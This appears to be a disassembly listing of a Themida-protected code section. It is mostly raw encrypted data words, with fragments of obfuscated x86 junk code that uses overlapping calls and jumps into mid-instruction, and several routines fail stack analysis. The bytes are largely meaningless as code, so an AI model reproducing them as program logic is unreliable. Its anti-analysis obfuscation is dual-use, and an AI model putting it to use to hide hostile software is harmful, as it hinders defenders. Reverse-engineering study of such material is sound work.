		dd 6661F3B7h, 5C2CC881h, 6D76FCBBh, 8BF56029h, 0E18061D8h
		dd 7729BB2Fh, 6E86A44h,	13000000h, 2BD4F58Ch, 8A0F5E2Eh
		dd 0Eh,	9E9h, 94700F00h, 0DA899DCDh, 0E980B47Dh, 67B866F5h
		dd 0E901B502h, 0Ch, 13A5F3CFh, 81E405E0h, 0AF3477C0h, 0EE9h
		dd 68D49400h, 0F2516B8Eh, 95E5CDCCh, 6693221Eh,	8166CB8Bh
		dd 0E8181FD1h, 12h, 0C7076D7Dh,	7F10FDD4h, 0FC3526C3h
		dd 0C73F2308h, 0C681BC5Ch, 7C195DB8h, 53EE8059h, 9E9h
		dd 0E8BE6900h, 54348E9Bh, 810F84FEh, 8,	2820Fh,	61600000h
		dd 0FE8h, 85535100h, 1C6A05A6h,	1487D669h, 3CBAFA88h, 0D39FF181h
		dd 605F4FE8h, 118C0Fh, 0CE90000h, 5C000000h, 0EA599EBCh
		dd 15B3C6B7h, 0E93E092Bh, 10h, 47F80B2Ah, 1877D4F1h, 9C53D2BAh
		dd 73A08913h, 66C38B61h, 5E9CA8Bh, 0C7000000h, 0B560CC37h
		dd 0F5E381F9h, 0E902C2BEh, 0Bh,	0B2D02092h, 4516BD2Dh
		dd 662F8F62h, 0BA66F78Bh, 4EB88630h, 815829BDh,	3CD532DAh
		dd 669CB331h, 506590B8h, 5F5AF952h, 46BBB966h, 28A0Fh
		dd 0FAB60000h, 8E9h, 0A3439100h, 521A62BEh, 5E885h, 9600000h
		dd 0F9582255h, 5FE7815Fh, 0E852DA05h, 8, 0E11C6260h, 81EBC065h
		dd 0EB816650h, 595F4618h, 13E9h, 0F5DFAF00h, 0EFC57325h
		dd 0ABEFB35h, 443C43DCh, 70BFD858h, 14830Fh, 0FE90000h
		dd 0AE000000h, 0E0997DF1h, 0F59ABE0Bh, 21023972h, 0CE8BFED8h
		dd 7E9h, 9A678000h, 0CC4D7454h,	0FCFFBF0Fh, 14E856h, 0CBD00000h
		dd 28D6D084h, 347129B9h, 0C4190BF1h, 3949E91h, 0FE9F9DFh
		dd 97000000h, 0EAA1C2F2h, 0CB20936Fh, 4FE862B4h, 585A1C1Ch
		dd 0BE0F6BAh, 742FBE3Bh, 0E680594Fh, 4FB9606Bh,	8A5A3E4Eh
		dd 0F98B61EAh, 43C08166h, 0F2BF0F1Eh, 260805BEh, 0F9B70F43h
		dd 0E8813AB7h, 5824EF51h, 8AD6B70Fh, 0AAE380CFh, 0EE9h
		dd 30AE4B00h, 99A681D2h, 2A10C2FBh, 6091C282h, 860F60h
		dd 61000000h, 0A786DE81h, 8B610FB0h, 1ADE80D7h,	0BE8h
		dd 9283B200h, 43CEE89Bh, 7591BDB6h, 7E9h, 94AA2500h, 95E6DCBFh
		dd 0BE85Bh, 0A1F60000h,	2A91B856h, 0FFF91F09h, 0FEBF0F03h
		dd 860F5359h, 19h, 14E9h, 5FACC900h, 7C6E445Ah,	541EEF28h
		dd 0B744E9A8h, 5CFFEC70h, 0BE95F74h, 7B000000h,	69FB7E13h
		dd 0EF4FB10Bh, 860F5C9Fh, 5, 50C88166h,	8D2EB957h, 8A56272Dh
		dd 12E858EAh, 74000000h, 0C8E845B4h, 8692A4E9h,	25646318h
		dd 0A8FDDC4Ch, 8A5BFCF8h, 0E9B966F7h, 8A0FF548h, 17h, 118B0Fh
		dd 0CE90000h, 0BF000000h, 1DCE5A09h, 3D3483Bh, 8A70458Ch
		dd 0D2B70FCEh, 11E9h, 966C4300h, 0BD939A44h, 15D35AECh
		dd 3488BCBh, 0D18B4B73h, 7C57BE66h, 66FFB70Fh, 55B7E881h
		dd 52FABF0Fh, 0C260BB66h, 8E95Bh, 9D240000h, 576C929Ah
		dd 0B70FB54Fh, 0C38166F7h, 800F80EFh, 10h, 0BE9h, 5007F000h
		dd 664F3200h, 6C871EE0h, 0F6B5F28Bh, 0B9DABF0Fh, 2FEBE43Dh
		dd 0EE8h, 0F0B6EC00h, 32005007h, 1EE0664Fh, 0E8FA6C87h
		dd 7, 9E2150EEh, 81E31E24h, 63A309D3h, 0E95A5975h, 7, 0B2C1CEB6h
		dd 0E94FB834h, 7, 94C99727h, 0B18E68D4h, 5FB966D9h, 0FB8B6628h
		dd 0B560FB8Bh, 61F38B52h, 98D0Fh, 8B0F0000h, 3,	8AF78B66h
		dd 0F08166F0h, 860F0AA5h, 14h, 0FE9h, 0D28B6500h, 0D2BDD19Ah
		dd 0AAACFEACh, 326D16D5h, 0C5E78160h, 0F13F066h, 680h
		dd 8C0F00h, 61000000h, 0FEE8166h, 0D88B5182h, 0F7FB559h
		dd 181h, 8B66F800h, 0F56F9CAh, 805ED7BFh, 0BF0FA0F5h, 1C0FB8C6h
		dd 0FB8B07DCh, 8B6668B3h, 27E4B9DEh, 890F4464h,	6, 5667D781h
		dd 0F08039CDh, 0F6060BCh, 8166DBBFh, 61A718C9h,	0E86157B5h
		dd 10h,	51C8209Ah, 5A9A55B1h, 4C898771h, 2FE6C640h, 909459B9h
		dd 0F7815940h, 2D59982Fh, 0E810Fh, 8E80000h, 0DE000000h
		dd 4117B68Dh, 58720188h, 9E9h, 72936100h, 0EBF27677h, 8B665B0Bh
		dd 58A0FFAh, 66000000h,	8AADE181h, 0DECE8166h, 0F7DF81CBh
		dd 56033B63h, 805ECC8Ah, 0BA66DBCCh, 860F129Eh,	5, 0F6C8DABBh
		dd 58D0F1Dh, 51000000h,	5FDABF0Fh, 0FE9h, 0D273DC00h, 0A5D4CFF2h
		dd 9631936Eh, 9311D537h, 0E9D18B66h, 10h, 0E89F1B7Dh, 85651462h
		dd 0C70E4A98h, 0FA8F07E5h, 0B2F28166h, 57F5F81Ah, 6058D1B6h
		dd 66FFB70Fh, 619C50BFh, 0BE8h,	0D0C86900h, 9F4491AAh
		dd 62D5DE5Bh, 12E9h, 16199D00h,	0CB76AE39h, 20A19832h
		dd 1CB91509h, 591FEB46h, 0C7DA8166h, 13E993h, 45D80000h
		dd 24A34B4h, 9ADF8ED4h,	0E08815Ch, 0BC1D6995h, 138E0F49h
		dd 0E9000000h, 0Eh, 61247730h, 76777293h, 5B0BEBF2h, 0DA8BB3BAh
		dd 0FD68B66h, 8B66D3B7h, 0C800FD3h, 0E8000000h,	6, 0BCEC1FD6h
		dd 0E95ED78Eh, 0Dh, 0D23AF621h,	0D666ADD3h, 2B81D1F6h
		dd 0DE8F945h, 54000000h, 8AD5542h, 759F9E4Ah, 4DDDE614h
		dd 0EE8h, 5D557200h, 1E191569h,	3DD322DEh, 66B1329Ah, 597EDB81h
		dd 0E6805958h, 9DC1811Dh, 0E85514CBh, 8, 9362E163h, 87A01D45h
		dd 860F5AF9h, 9
		dd 38A0Fh, 8B660000h, 0C88B66F2h, 58F0FF9h, 66000000h
		dd 9819E881h, 0C4E98166h, 0CE909h, 0B2A30000h, 0D433AD8Eh
		dd 0AE97D6F9h, 0B9661584h, 0DC80FCDFh, 7860F97h, 0F000000h
		dd 18Fh, 61BBF800h, 0F12B4E1h, 8Fh, 0CEBF0F00h,	0DE86160h
		dd 7B000000h, 1AFB118Dh, 0EB87F351h, 548CC48Eh,	5BF7BF0Fh
		dd 38B0F60h, 66000000h,	0F88BC18Bh, 38C0F61h, 0F000000h
		dd 8166FFBFh, 0E9FE7CEBh, 0Dh, 0EE4C6FDDh, 4ED552CAh, 9771CAB7h
		dd 5FCA8063h, 5E9h, 0CC847700h,	0EE944BFh, 96000000h, 5886D2DFh
		dd 0A1DF3B7Ah, 0D892AEDDh, 0D68B6099h, 64E28166h, 0FC606115h
		dd 37BCB866h, 0CE861h, 1F020000h, 0FDD9B978h, 0AB40C783h
		dd 4DBA8E18h, 5A0F0D35h, 7636BB66h, 18C18166h, 0EE88Ah
		dd 0D78D0000h, 9F331EB4h, 0BE602FB0h, 0A878C801h, 9E859h
		dd 0DC110000h, 0E641CDF0h, 0E9ABF6A0h, 0Eh, 0AF1A112Ah
		dd 6D82D79Bh, 256A44E6h, 8B5AB8F2h, 12E960D1h, 59000000h
		dd 349D069Fh, 11FF97BDh, 864EE295h, 941881CCh, 12E8D5h
		dd 0B5200000h, 578F9A98h, 0D10C8178h, 594367DFh, 10C311A5h
		dd 9EE6CABBh, 66615E1Ch, 9F42E681h, 5EA1BE66h, 70C68166h
		dd 0EE9537Bh, 0B1000000h, 3803DF8Dh, 5E381FC2h,	91EEB546h
		dd 66F95B80h, 0F5805CBBh, 0BF66C68Bh, 0CA8AD22Ch, 8E28166h
		dd 8132B5FBh, 10CD35C8h, 7838BB1Ah, 0DE8B6FB1h,	0BF6601B6h
		dd 0CE931A7h, 31000000h, 4B8C6902h, 26539C93h, 8AE97245h
		dd 7F78B9CEh, 81665655h, 66C792C1h, 0F90B7B9h, 198Eh, 14E900h
		dd 730A0000h, 76193DA0h, 88FCB51Ch, 2371DF2h, 55AA2C3Fh
		dd 830F91C5h, 6, 0C405C081h, 0BF0F4EB7h, 0C88166C2h, 0BA66B819h
		dd 8166DAE6h, 0F8A5E5D1h, 16880Fh, 0E9600000h, 0Fh, 386D142Ah
		dd 0BA835ABCh, 365EE80Bh, 6107D993h, 0CE9h, 0B6296400h
		dd 0B579440Bh, 0ADCEAA37h, 3E52BF73h, 890F7745h, 3, 81C28B66h
		dd 11AB9C0h, 0EA815777h, 59A79E10h, 8166505Eh, 582250C2h
		dd 0CE9h, 3414B300h, 6E6704EAh,	0EF2AC73Dh, 0E9F28B80h
		dd 0Dh,	0EB9D67C9h, 0D7F44D8Ch,	6191B1D5h, 6E9F8F6h, 0C7000000h
		dd 0FA43F29Eh, 60E680A3h, 14E9h, 0EB56D200h, 0E895B7CFh
		dd 2047F138h, 0D3DB537Fh, 73F2EE04h, 68D0FA8h, 56000000h
		dd 0D573BA66h, 7EB8F55Bh, 0E86F4FA7h, 0Fh, 0E823E30h, 0FC7A7B8Fh
		dd 75A107E7h, 665D4B06h, 7C47C681h, 3800F5Eh, 80000000h
		dd 8B667AE0h, 0C18B60DAh, 0EE961h, 0E7580000h, 84D7893h
		dd 8B590EAh, 0AF52F462h, 0EC66BB66h, 0CA8B6060h, 4860F61h
		dd 66000000h, 6149CEBEh, 68E0Fh, 0C3810000h, 5A4C298Ch
		dd 0C2B70FF8h, 8B43F280h, 0AE9D6h, 0DC3D0000h, 4331367Ch
		dd 0D6BD6D83h, 4DE08166h, 0C19CB98Ah, 830F4C3Eh, 3, 0E9F0B70Fh
		dd 9, 28ADF5D7h, 1C6F536h, 81666000h, 618BB9D3h, 0DFBF0F57h
		dd 0F98B665Fh, 80F7B70Fh, 0E957F3D3h, 0Ah, 1053A66Bh, 779A70F5h
		dd 0E85E988Eh, 12h, 57A56F8Ch, 4FFEA14Eh, 914C6852h, 504E6476h
		dd 0D3801341h, 0BA665F25h, 840F4365h, 4, 0AC7FB866h, 80F1BF0Fh
		dd 7E975D6h, 0C000000h,	0BF5AD058h, 0ACBFACC2h,	0F642348h
		dd 8B0FC3B7h, 2, 0BF66C18Ah, 81664C7Ch,	0E8312FD0h, 0Dh
		dd 88ED4D27h, 61E9CFDDh, 0AB2903DEh, 2CBABB33h,	66587AECh
		dd 56D1EE81h, 9B42F281h, 0C68A533Dh, 0C280FAB5h, 14E9D0h
		dd 4C9F0000h, 203155BEh, 337FC039h, 969A592Eh, 0FD15C4Ah
		dd 0BE66BAF7h, 8B669132h, 0F2BF0FFEh, 57D981F5h, 51447B36h
		dd 5E9h, 119F5A00h, 0B0580D35h,	11E850DEh, 5F000000h, 6A5B5B4Ah
		dd 3F11C92h, 701F8A6Ah,	13823504h, 58FFBF0Fh, 0FD78B5Bh
		dd 7E9D1B7h, 0EA000000h, 28516132h, 8BBF616Ah, 0BF74E3F1h
		dd 3EDD12Fh, 8F0FD08Bh,	3, 0F556CF80h, 8E9h, 51C91A00h
		dd 28A35540h, 50D681DCh, 607357D4h, 8B660DB0h, 0AE961FEh
		dd 37000000h, 0ED67993Ah, 0AC10346Ah, 0A7EC80B4h, 11E9h
		dd 0DB54BF00h, 6829AE22h, 96EF108Dh, 0EB2FC195h, 0BE66F5B6h
		dd 0BA66CB30h, 12E949DFh, 79000000h, 0C5035A3Ch, 7DCAE7Fh
		dd 9DE6541Ch, 1CADE154h, 0AE9F9FAh, 70000000h, 0E6D4FABAh
		dd 0CFA7831Dh, 0DE9B3h,	39BE0000h, 1F562E46h, 0D9F26Ch
		dd 0F41D025h, 0E850F0B7h, 7, 0AECD379Eh, 0E97F85C2h, 10h
		dd 19AC6320h, 87FDF5A7h, 964F6285h, 0E8C06C35h,	11E85E5Eh
		dd 0E000000h, 70AE8B31h, 86F894FDh, 63FDCC6h, 121DEF3Dh
		dd 36B11BBh, 12E85837h,	5000000h, 13C51Fh, 332BA79Fh, 2187991Ah
		dd 3DDBA52Bh, 0BE9D2h, 43760000h, 0BF017F5Eh, 3E7CA423h
		dd 5E5159B6h, 4890Fh, 0BF660000h, 0FE998EAh, 17000000h
		dd 9E0871D5h, 0A3408FCDh, 0F33E03A5h, 5E9E9EAh,	0C2000000h
		dd 0E9081207h, 0AE9h, 331C7400h, 2126E735h, 0FC2FCC94h
		dd 0EE9F9h, 56EC0000h, 7F286C5Dh, 0F3ED26EBh, 0D14BBAC3h
		dd 4870FF8h, 66000000h,	815E9EBBh, 721EDFD0h, 66CB8B62h
		dd 0E8C56FBAh, 0Bh, 9400E2DFh, 0C99B391Dh, 0F0D0E70h, 605FDFB7h
		dd 0DDC6E281h, 61F82DD7h, 0CDC98160h, 6068DBA2h, 0B86610B1h
		dd 61614A63h, 0CE9h, 4BAB200h, 146BE337h, 0F77DAFCCh, 0CE816618h
		dd 81667A0Ch, 0E8D681CAh, 0Ch, 0AC9D2EAFh, 0E70B87D3h
		dd 12EA722Ch, 0C01BF681h, 665A0F77h, 9B0AD181h,	0AE69B950h
		dd 0E95E2225h, 5, 664F3200h, 9E9E0h, 7F030000h,	34396C1Ch
		dd 8BDC2C39h, 0BFE28ACAh, 1D0A25E5h, 5B5BB452h,	0E960F38Bh
		dd 12h,	314ABDF9h, 0F3F8570Fh, 523AEFCh, 48FF7885h, 0F608147h
		dd 8E0FFAB7h, 0
; ---------------------------------------------------------------------------
		popa
		popa
		pusha
		jmp	loc_5D1906
; ---------------------------------------------------------------------------
		dd 557CD12Bh, 9D96D87h,	251C06ECh, 0BC073C74h
		db 9Bh,	62h
; ---------------------------------------------------------------------------


loc_5D1906:				; CODE XREF: Themida_:005D18EFj
		push	eax
		clc
		pop	esi
		popa
		mov	ax, si
		mov	dl, al
		mov	cx, 0E2E7h
		cld
		jmp	loc_5D191F
; ---------------------------------------------------------------------------
		db 93h,	0E2h, 0ACh
		db 2Eh,	1Ch, 0CDh
; ---------------------------------------------------------------------------


loc_5D191F:				; CODE XREF: Themida_:005D1914j
		js	loc_5D1929
		mov	dx, 9078h


loc_5D1929:				; CODE XREF: Themida_:loc_5D191Fj
		stc
		sub	si, 1E0Bh
		pusha
		mov	si, cx
		and	si, 0D95Ah
		popa
		push	esi
		push	eax
		jg	$+6
		pop	ebx
		pop	edx
		mov	ah, 4Dh
		mov	edx, 129B8F1Bh
		mov	cl, 0CDh
		mov	ebx, eax
		jmp	loc_5D195A
; ---------------------------------------------------------------------------
		db 1Eh
		dd 0C7BDE4B1h
		db 0AAh, 0BEh
; ---------------------------------------------------------------------------


loc_5D195A:				; CODE XREF: Themida_:005D194Ej
		pusha
		movzx	ecx, di
		popa
		jmp	loc_5D1972
; ---------------------------------------------------------------------------
		dd 0EEFDF228h, 0C0843B09h, 807D810h
		db 0C4h, 0D6h
; ---------------------------------------------------------------------------


loc_5D1972:				; CODE XREF: Themida_:005D195Fj
		mov	al, 80h
		mov	cx, 649Fh
		mov	dx, 0FBDh
		movsx	esi, bx
		movzx	edi, cx
		xor	esi, 567DA9FAh
		push	eax
		jmp	loc_5D199A
; ---------------------------------------------------------------------------
		dw 43CFh
; ---------------------------------------------------------------------------
		and	dword ptr [ebp+4ADD949h], 0E702CF90h


loc_5D199A:				; CODE XREF: Themida_:005D1989j
		pop	ecx
		mov	ecx, edx
		push	eax
		jmp	loc_5D19B7
; ---------------------------------------------------------------------------
		db 88h
		dd 0BB59816Fh, 0C25BF3E5h, 684328B0h, 974F69D7h
		db 21h,	0DBh, 0B9h
; ---------------------------------------------------------------------------


loc_5D19B7:				; CODE XREF: Themida_:005D199Ej
		pop	edx
		jl	loc_5D19C4
		xor	ebx, 6567A5Ah


loc_5D19C4:				; CODE XREF: Themida_:005D19B8j
		call	near ptr loc_5D19DB+2
		adc	byte ptr ss:[esi+1Bh], 3Eh
		pop	ebx
		das
		and	eax, 5A1EBDE5h
		mov	ebp, 0D96520ADh
		xchg	eax, ecx


loc_5D19DB:				; CODE XREF: Themida_:loc_5D19C4p
		fldenv	byte ptr [ebp-76h]
		retf
; ---------------------------------------------------------------------------
		pop	ebx
		call	sub_5D19EB
		test	al, 0ECh
		xchg	eax, edi
		jz	short near ptr loc_5D1A0F+1
		pusha

; =============== S U B	R O U T	I N E =======================================



sub_5D19EB	proc near		; CODE XREF: Themida_:005D19E0p
		add	bl, 2Fh
		pop	esi
		mov	di, cx
		cld
		xor	bh, 0E4h
		movsx	esi, bx
		call	near ptr loc_5D1A04+1
		icebp
		pop	ecx
		dec	ebx
		scasb
		xor	dl, dl


loc_5D1A04:				; CODE XREF: sub_5D19EB+Ep
		or	dword ptr [edi], 6659C3BFh
sub_5D19EB	endp ; sp-analysis failed

		mov	ecx, 5FB10821h


loc_5D1A0F:				; CODE XREF: Themida_:005D19E8j
		jmp	loc_5D1A26
; ---------------------------------------------------------------------------
		setalc
		retn
; ---------------------------------------------------------------------------
		das
		jge	short loc_5D1A90
		retf
; ---------------------------------------------------------------------------
		lodsd
		db	2Eh
		mov	bl, 7Dh
		shl	dword ptr [esi-54h], cl
		xor	al, [ebx-46h]
		retf
; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------


loc_5D1A26:				; CODE XREF: Themida_:loc_5D1A0Fj
		mov	esi, 1D3B557Ch
		mov	eax, 6431E0EBh
		mov	esi, ecx
		movsx	eax, di
		jnz	loc_5D1A40
		mov	ebx, 4416264Ch


loc_5D1A40:				; CODE XREF: Themida_:005D1A35j
		pusha
		push	eax
		mov	bx, dx
		pop	ebx
		mov	eax, edx
		popa
		call	sub_5D1A60
; ---------------------------------------------------------------------------
		dw 93FEh
		dd 4B303DC1h, 0A8C12457h, 0F36D514Ch, 0C4CD4543h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D1A60	proc near		; CODE XREF: Themida_:005D1A49p
		jmp	sub_5D1A70
sub_5D1A60	endp

; ---------------------------------------------------------------------------
		db 0A8h, 0FBh, 63h
		dd 2DD4F7D9h, 0C1328A9Fh

; =============== S U B	R O U T	I N E =======================================



sub_5D1A70	proc near		; CODE XREF: sub_5D1A60j
		pop	edi
		mov	edx, esi
		call	near ptr loc_5D1A85+4
		adc	al, 0DFh
		shl	byte ptr ds:0BB136690h,	0C7h
		enter	0FFFFE3CEh, 0B0h


loc_5D1A85:				; CODE XREF: sub_5D1A70+3p
		mov	ds:586655D5h, eax
sub_5D1A70	endp ; sp-analysis failed

		jmp	loc_5D1A95
; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------


loc_5D1A90:				; CODE XREF: Themida_:005D1A17j
		dec	ebp
		push	ecx
		fdiv	qword ptr [eax]
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------


loc_5D1A95:				; CODE XREF: Themida_:005D1A8Aj
		jno	loc_5D1AA5
		pusha
		jbe	$+6
		pusha
		popa
		popa


loc_5D1AA5:				; CODE XREF: Themida_:loc_5D1A95j
		jb	loc_5D1AB1
		jnp	$+6


loc_5D1AB1:				; CODE XREF: Themida_:loc_5D1AA5j
		call	near ptr loc_5D1AC6+2
		pop	esp
		mov	ds:3CEABC68h, al
		cmp	eax, 1EC6281Dh
		insd
		push	0FFFFFFB4h
		and	ecx, ebx


loc_5D1AC6:				; CODE XREF: Themida_:loc_5D1AB1p
		imul	edi, [ebx], 850Fh
; ---------------------------------------------------------------------------
		dd 0E95B0000h, 13h, 4898E336h, 5D64DB66h, 30BA06E2h, 0B7FFCD0Eh
		dd 66B94945h, 4CB9CF8Bh, 52069499h, 14E8h, 557E6500h, 0F1518871h
		dd 0CC99D13Eh, 0BE3F0482h, 22BD6166h, 35CF81F0h, 5836BD60h
		dd 14E95Ah, 33E30000h, 0F5763032h, 0CDA2CB06h, 9A6D4E6Bh
		dd 9763B9C2h, 66600715h, 3B2AD281h, 0E8816661h,	0BF66D373h
		dd 0B560C404h, 6E9AAh, 45DA0000h, 8C1B2CBEh, 0EE961h, 0FC090000h
		dd 23CD6A9Ch, 58FEC032h, 0A4DF1882h, 5E9F0B0h, 0AC000000h
		dd 0E6D980D4h, 7E8h, 4E82100h, 3E89D9EDh, 0BF58E4B1h, 16FBDD1Dh
		dd 0EE9h, 0D9CF4D00h, 1443343Bh, 29F122C4h, 0F9186079h
		dd 0B966D98Bh, 0FF80A75h, 38Dh,	22CE8000h, 4890Fh, 0BE660000h
		dd 0E853806Fh, 0Ch, 190ABD39h, 4116D1A5h, 8FCE5C99h, 5FD9C880h
		dd 0E95E5359h, 8, 0F238137Dh, 951C566Dh, 0C38166F8h, 0DCB6E596h
		dd 5FCABE66h, 248BB60h,	8C0F7504h, 2, 0E9616160h, 6, 377C6BABh
		dd 0F781886Bh, 1FFCF234h, 92C38166h, 0F38166ABh, 49BE7B8Dh
		dd 0F5491D9Ah, 0FD08B66h, 0B70FCABFh, 11E9DBh, 8A720000h
		dd 0EB3A9937h, 0D2343C93h, 0A36D01DDh, 0F2039C0h, 580h
		dd 1E45B800h, 890F16CBh, 9, 38D0Fh, 0BF0F0000h,	66FA8BCEh
		dd 8B66C18Bh, 5E9C8h, 0AC440000h, 0F80CF308h, 0FE9h, 925D1400h
		dd 0BD3C6A25h, 0D126D72Fh, 75D90191h, 0C860Fh, 5E80000h
		dd 36000000h, 9AB237CDh, 14E85AF8h, 0D9000000h,	20147FCBh
		dd 0D997F7C2h, 0DA674033h, 0FF4EAD6Bh, 66E7B94Eh, 5F59C6BEh
		dd 13E9h, 4C126300h, 6DDEA323h,	0FD29DD2Ah, 0C092E6D3h
		dd 4FB6B59Eh, 0C820Fh, 7E90000h, 0F8000000h, 136C6E34h
		dd 0F9532E99h, 0B8D0F5Ah, 0F000000h, 58Ah, 0E30FBB00h
		dd 8B20759h, 0E9D2B70Fh, 13h, 0BA91287Eh, 0C83D4961h, 55FC1024h
		dd 71E9BF07h, 50B6BBF4h, 80EB75BFh, 57515B30h, 8B0Fh, 5A5E0000h
		dd 0AE8h, 0B3C1B100h, 0D49C869Eh, 59E4CAB0h, 6860Fh, 0DA810000h
		dd 6D24DD58h, 8E9F9h, 8E270000h, 0F5D4DFC8h, 8166B78Ch
		dd 6081D1C9h, 6850FF5h,	0F000000h, 8Ch,	8B666100h, 52ED80F2h
		dd 4237B851h, 665B196Dh, 0CEB2D18Bh, 0E9B99DBFh, 0F28B663Dh
		dd 5200D281h, 12E95924h, 0D0000000h, 9842A979h,	5A293D1h
		dd 9449B2Eh, 0B052E7A1h, 665A5698h, 0BEA566B9h,	5424FDA0h
		dd 0DE9h, 0EFE27C00h, 0D18ABC08h, 0E0CEE74Dh, 0CA813D36h
		dd 3CEA6289h, 10E8FCh, 65AB0000h, 8EDF2232h, 0ACABA4B0h
		dd 4C98D741h, 8B66CCA1h, 66605BF0h, 6139D3BAh, 0FD98B66h
		dd 487h, 0C8B86600h, 4EB850EDh,	5850AC5Fh, 30AFB966h, 18B0Fh
		dd 80FC0000h, 870FA6EFh, 2, 0F560DA8Bh,	12E961h, 0BD7D0000h
		dd 3C0D9F26h, 0BAA0FAEEh, 0F8E0B00Ah, 50905FC2h, 56BED4B5h
		dd 8103BD77h, 0FBF5E0D6h, 0F8BF0F6Bh, 1A880Fh, 11E80000h
		dd 41000000h, 8E52ADA7h, 3363B50Dh, 0E5847EB2h,	0FDD74CE6h
		dd 5F59C780h, 0E78166FCh, 800FC25Bh, 10h, 0BE9h, 38723A00h
		dd 909DCABBh, 83DBA38Eh, 69BEDE8Bh, 0B96FBC50h,	33C2D877h
		dd 14E9h, 0ECEE5600h, 2E773A5Dh, 0A31ADD75h, 0A90AED07h
		dd 0D4D153FDh, 66526097h, 856DD881h, 6196B65Eh,	6E9CEB0h
		dd 0B7000000h, 0A5158DB7h, 14E85085h, 8E000000h, 0B6B44FF0h
		dd 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 668CCAE8h,	5B59C18Bh
		dd 0E920CA80h, 9, 45196AB0h, 0A165787Bh, 0CE8EBh, 42A80000h
		dd 24090161h, 0E5075C3h, 8B66412Dh, 0C98059D7h,	0C881660Ah
		dd 8B669B7Bh, 0F8B70FDEh, 2870Fh, 0CA8B0000h, 66DABF0Fh
		dd 0E9EFEDBFh, 8, 5D6D2316h, 0A04D0071h, 8B66FCB1h, 27ABFF8h
		dd 5E8694Fh, 42000000h,	487DC659h, 10E9h, 1321DF00h, 59B84EFCh
		dd 6AAEE5BCh, 0D6BEAFF7h, 0BE85F3Eh, 35000000h,	162FF63Ch
		dd 253DD487h, 0F5AFBCBh, 8052C7BFh, 0F59E8C3h, 0FD8AD0BFh
		dd 14E9h, 6ECD7700h, 5DF2C82Bh,	0F0661F10h, 0CEF181D7h
		dd 793B4C0Ah, 0C4C881B2h, 8066087Bh, 0BF0FE6F5h, 0C88B66C9h
		dd 8B66E5B2h, 0FE960F0h, 5F000000h, 8B925368h, 0E5D19251h
		dd 52426BA1h, 0E381D71Dh, 0F6F32BBh, 0D98B5761h, 13E959h
		dd 13A80000h, 13A289B5h, 8D5D1177h, 0B2BF0AB3h,	7968C512h
		dd 57D78B51h, 5566DE81h, 0E95B2AFEh, 0Fh, 0C0B9A123h, 8405C0FFh
		dd 31ACBB5Ah, 8BDC1879h, 11E9CEh, 6CFF0000h, 9E28C5D2h
		dd 0D3E5DBEDh, 914E07EEh, 605CC060h, 0BB42CE80h, 73FA1FB7h
		dd 88C0F61h, 0F000000h,	28Ch, 0FCE8B00h, 38Ch, 0FAB70F00h
		dd 0E7A789BAh, 8E9601Ah, 4F000000h, 0E6C418D1h,	6680364Dh
		dd 61067FB8h, 3E3BEA81h, 0C88A5AB8h, 13E9h, 36A33B00h
		dd 0C120698Eh, 0B111A38Ch, 0B9487115h, 9DEB8C09h, 800FD98Bh
		dd 2, 8D0FDF8Bh, 5, 67F08166h, 35BFF90Fh, 8A04F63Fh, 80F08ACCh
		dd 8166D3F6h, 0F1CB6E6h, 6660C3BFh, 9007D681h, 5E9h, 97ACC100h
		dd 0E9618F34h, 9, 0B696DE2Ah, 91143EEAh, 0F52B40Eh, 484h
		dd 52B86600h, 0A5B860AFh, 617A5A0Ah, 81C51DBBh,	0BA66502Ch
		dd 0F5B0327h, 18Fh, 820FF800h, 6, 44F8F081h, 1BB16087h
		dd 10E9h, 0FC21FE00h, 4C82C4F4h, 77A7BBB3h, 58196715h
		dd 0F6816097h, 5D8ABC18h, 76AC981h, 0F615033h, 0B70FDFBFh
		dd 0E98166C6h, 0CF80D055h, 0CBA66F8h, 0F3816624h, 800F6C62h
		dd 13h,	0D840Fh, 7E80000h, 0C3000000h, 363D97BBh, 8A5E7CB0h
		dd 0DAB9F9C3h, 8160E851h, 0C954CC9h, 0CFBF0F05h, 0BA6653B2h
		dd 66F8424Ch, 8166F08Bh, 81967ED9h, 0C52D59F1h,	78A0F67h
		dd 0F000000h, 18Ch, 0DE8F900h, 0E4000000h, 1E78EE2Ah, 0BBC734EFh
		dd 669E139Bh, 0FFB70F60h, 5B616160h, 58E0Fh, 81660000h
		dd 0F81DCBEBh, 12E85950h, 0B5000000h, 79989A23h, 0B27637A1h
		dd 409D3A43h, 517F2E21h, 0E381603Eh, 11499D28h,	5E61CB8Bh
		dd 0D9816652h, 605B6A95h, 0B0CBDE80h, 24BA6123h, 0B238A5F4h
		dd 68F0FACh, 81000000h,	28C491D9h, 0DF8B577Ah, 6850F5Bh
		dd 81000000h, 2F4DEED7h, 800F6029h, 2, 0F615850h, 0BF0FD8BFh
		dd 11E9D7h, 0B2490000h,	6F9DC34Ch, 0FC36918Ch, 658D0703h
		dd 0E8390EA4h, 9, 0CCDEE026h, 0E03E1EF9h, 0E9816686h, 0BB58A117h
		dd 49336501h, 0FE1EBB66h, 6ADDEB9h, 0CFBF0F6Ah,	0FCE8B66h
		dd 85h,	74C78100h, 0F7131FBh, 8B66FEB7h, 0CF8A60D7h, 61D3B70Fh
		dd 870Fh, 0BF0F0000h, 0D88166FAh, 8B66F6BAh, 0AE8F2h, 71DA0000h
		dd 3457DB07h, 4F6066CFh, 0EE95Bh, 0CB430000h, 896FC0C9h
		dd 6FB615E4h, 0E0F926AFh, 10E8h, 0AB591100h, 90B7E403h
		dd 0F6C7C938h, 0E056D950h, 0F2815B6Eh, 7A460F10h, 8BD6B70Fh
		dd 7BD580D6h, 31528BB9h, 0BF0F5072h, 8C0F5EF1h,	15h, 10E9h
		dd 94847F00h, 31233A21h, 9498CF06h, 6CD88F55h, 0AE9D5h
		dd 5CF00000h, 0A71181F7h, 0DBB13F7Dh, 0FE8h, 7BD01F00h
		dd 0C9E027C5h, 0E8E6B91Fh, 195C1253h, 0A3D78166h, 8B515E45h
		dd 0F0815ED8h, 59263DCAh
		dd 1ECB8166h, 0CCBB6637h, 3880FE2h, 80000000h, 0F48065D9h
		dd 0C18BFCA8h, 0D280A5B1h, 0E85660DBh, 0Ah, 2CBCAADDh
		dd 0A173C171h, 585FDAA9h, 0DE956h, 4E5D0000h, 577D4FAFh
